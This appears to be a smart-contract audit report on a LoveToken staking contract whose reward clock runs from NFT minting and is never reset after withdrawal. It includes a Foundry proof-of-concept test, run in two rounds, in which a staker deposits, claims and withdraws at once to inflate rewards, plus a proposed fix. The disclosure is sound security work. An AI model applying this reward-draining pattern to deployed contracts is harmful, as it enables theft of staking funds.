Summary
The staking contract is accumulating time regardless of whether LoveToken tokens are staked.
Vulnerability Details
Let's take a look at the implementation of the claimRewards() function.
uint256 soulmateId = soulmateContract.ownerToId(msg.sender);
if (lastClaim[msg.sender] == 0) {
lastClaim[msg.sender] = soulmateContract.idToCreationTimestamp(
soulmateId
);
}
When we claim staking rewards for the first time, the calculation is based on the time of NFT minting.The correct logic should be based on the time when LoveToken tokens are deposited.
After claiming rewards and withdrawing LoveToken tokens from the contract, the 'lastClaim[msg.sender]' variable will not be reset.
So, even if we don't deposit LoveToken tokens into the contract, the staking time will still accumulate, resulting in a significant amount of additional staking rewards.
function withdraw(uint256 amount) public {
userStakes[msg.sender] -= amount;
loveToken.transfer(msg.sender, amount);
emit Withdrew(msg.sender, amount);
}
Impact
For every 1 token deposited and 1 week left in the contract, 1 LoveToken is rewarded.
Examples:
1 token deposited for 1 week = 1 LoveToken reward
7 tokens deposited for 2 weeks = 14 LoveToken reward
The above is described in the readme.The contract implementation, however, will result in significantly more additional staking rewards than described.
Because stakers don't need to deposit their tokens into the contract regularly, only depositing when they want to claim rewards, calling the claimRewards() function and immediately withdrawing tokens.
POC
function test_stake() public{
vm.warp(block.timestamp + 1707416808);
uint balance = 100 ether;
uint weekOfStaking = 5;
_giveLoveTokenToSoulmates(balance);
console.log("Before solumate1 Balance:");
console.log(loveToken.balanceOf(address(soulmate1)));
vm.warp(block.timestamp + weekOfStaking * 1 weeks + 1 seconds);
vm.startPrank(soulmate1);
console.log("Before solumate1 Balance:");
console.log(loveToken.balanceOf(address(soulmate1)));
loveToken.approve(address(stakingContract), balance);
stakingContract.deposit(balance);
stakingContract.claimRewards();
stakingContract.withdraw(balance);
vm.stopPrank();
console.log("After solumate1 Balance withdraw 1:");
console.log(loveToken.balanceOf(address(soulmate1)));
vm.warp(block.timestamp + weekOfStaking * 1 weeks + 1 seconds);
vm.startPrank(soulmate1);
balance = loveToken.balanceOf(address(soulmate1));
loveToken.approve(address(stakingContract), balance);
stakingContract.deposit(balance);
stakingContract.claimRewards();
stakingContract.withdraw(balance);
vm.stopPrank();
console.log("After solumate1 Balance withdraw 2:");
console.log(loveToken.balanceOf(address(soulmate1)));
}
result
[PASS] test_WellInitialized() (gas: 12301)
[PASS] test_stake() (gas: 481858)
Logs:
Before solumate1 Balance:
100000000000000000000
Before solumate1 Balance:
100000000000000000000
After solumate1 Balance withdraw 1:
2000000000000000000000
After solumate1 Balance withdraw 2:
12000000000000000000000
Test result: ok. 2 passed; 0 failed; 0 skipped; finished in 2.95ms
Ran 1 test suites: 2 tests passed, 0 failed, 0 skipped (2 total tests)
Tools Used
Manual Review
Recommendations
Record the block.timestamp in mapping each time a deposit is called. If lastClaim[msg.sender] is less than this timestamp, update it to this timestamp. After withdrawal, clear lastClaim[msg.sender].